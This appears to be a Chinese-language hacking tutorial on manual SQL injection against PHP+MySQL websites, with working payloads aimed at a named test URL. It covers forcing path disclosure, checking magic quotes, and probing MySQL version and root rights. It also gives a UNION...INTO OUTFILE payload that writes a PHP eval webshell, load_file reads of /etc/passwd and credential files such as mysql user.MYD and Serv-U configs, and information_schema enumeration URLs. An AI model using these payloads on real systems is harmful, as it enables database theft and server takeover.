php+mysql的注入 已經流行了就久,可團隊中卻還沒有關於php注入 因此也就有我寫這篇文章的動力了,同時我會結合一些自己平時的經驗,希望能夠讓大家對php注入 有個更加深刻的理解。
一 ***的前奏
假設我們的注入點是http://www.online-tools.cn/test.php?id=1
(1)爆物理路徑
1 這時通常我們在後面加個非法字符(比如單引號等等),很有可能會爆出物理路徑
2 通過訪問沒有變量的地址,如http://www.online-tools.cn/test.php
3 同過搜索引擎搜索站點,如site:www.online-tools.cn 有幸的話也能獲得物理路徑
4 直接訪問數據連接文件
這幾種方法是我常用,當然你有其他的方法,這個主要靠大家收集,有好的方法希望大家也可以告訴我下,讓我也學習下,呵呵
(2)魔術引號開關magic_quotes_gpc
這個用pangolin基本上都可以猜出來,其實我們完全可以在注入點後加 and '1'='1'/* 放回正常表明GPC關,否則表明GPC開
原理分析: 當GPC開啓時,會對' 進行轉義,使其變成 \'
select * from online-tools where id=$id ---經過php轉義後---> select * from online-tools where id=1 and \'1\'=\'1\'
而在mysql不支持\'的符號,所以and後面語句爲錯,即該句查詢錯誤,所以頁面會放回錯誤
(3)判斷mysql版本和數據庫權限
條件1 and ord(mid(version(),1,1))>51/* 判斷版本號,只用大於51的話就才能使用union聯合查詢
條件2 and ord(mid(version(),1,1))=53/* 判斷mysql是否爲5.0,因爲5.0可以使用 information_schema 系統數據庫
條件3 and ord(mid(user(),1,1))=114 and ord(mid(user(),2,1))=111 and ord(mid(user(),3,1))=111 and ord(mid(user(),4,1))=116 /* 判斷root用戶權限
二 ***方案制定
1 如果(1)物理路徑知道 且 (2)中的魔術引號開關 關 且 (3)中的條件1 & 條件3 均滿足,這時完全可以直接導出一句話*** id=1?and 1=2 union select 1,2,<?php eval($_POST['#']);?>,4,5 into outfile '/online-tools.cn/shell.php'/* (最好將一句話***變成16進制形式)
2 如果(2)中的魔術引號開關 開 且 (3)中僅條件(1)滿足,
這時候只能通過order by 字段數 /* 猜字段數,然後用union select猜管理員表,猜字段,然後窮爆內容,並尋找後臺登陸
(注:這中情況注入工具(pangolin)不好使,大家可以編寫個php腳本來輔助猜表和字段)
3 如果(1)物理路徑知道 且 (3)中僅條件3滿足,
可以用load_file函數查看文件源碼,尋找敏感信息和管理後臺,登陸後臺上傳上傳webshell 防黑網
(注:load_file其實並不需要root權限,有時候普通用戶也能用該函數,這主要看管理員的配置)
常用的配置文件路徑如下
Linux
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP相關設置
/etc/sysconfig/iptables //從中得到防火牆規則策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系統版本
Windows
c:\boot.ini //windows系統特有的配置文件
c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數據庫連接密碼
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲了虛擬主機www.zzfhw.com網站路徑和密碼
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
等等....
其實還有其他很多文件,這個需要自己平時收集和積累,當然有時也需要根據網站所採用的系統來決定
4 如果(3)中僅條件2滿足
這時候我們也只能通過order by 字段數 /* 猜字段數,然後用union select猜管理員表,猜字段,然後窮爆內容,並尋找後臺登陸,不過此時我們可以藉助mysql5.0的特性直接猜表:
http://www.online-tools.cn/test.php?id=1%20union%20select%201,2,SCHEMA_NAME%20from%20information_schema.SCHEMATA%20limit%208,1/* 遍歷庫
http://www.online-tools.cn/test.php?id=1%20union%20select%201,2,TABLE_NAME%20from%20information_schema.TABLES%20where/**/TABLE_SCHEMA=數據庫的16進制值%20limit%208,1/* 遍歷表
http://www.online-tools.cn/test.php?id=1%20union%20select%201,2,COLUMN_NAME%20from%20information_schema.COLUMNS%20where/**/TABLE_NAME=表名的16進制%20limit%208,1/* 遍歷列名
通過這些信息最後我們就可以直接爆出數據了,當然這種情況我們可以直接用pangolin來猜,主要pangolin有時猜不全,這時我們就只能求助於手工了。
PHP+MySql手工注入的***思路
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.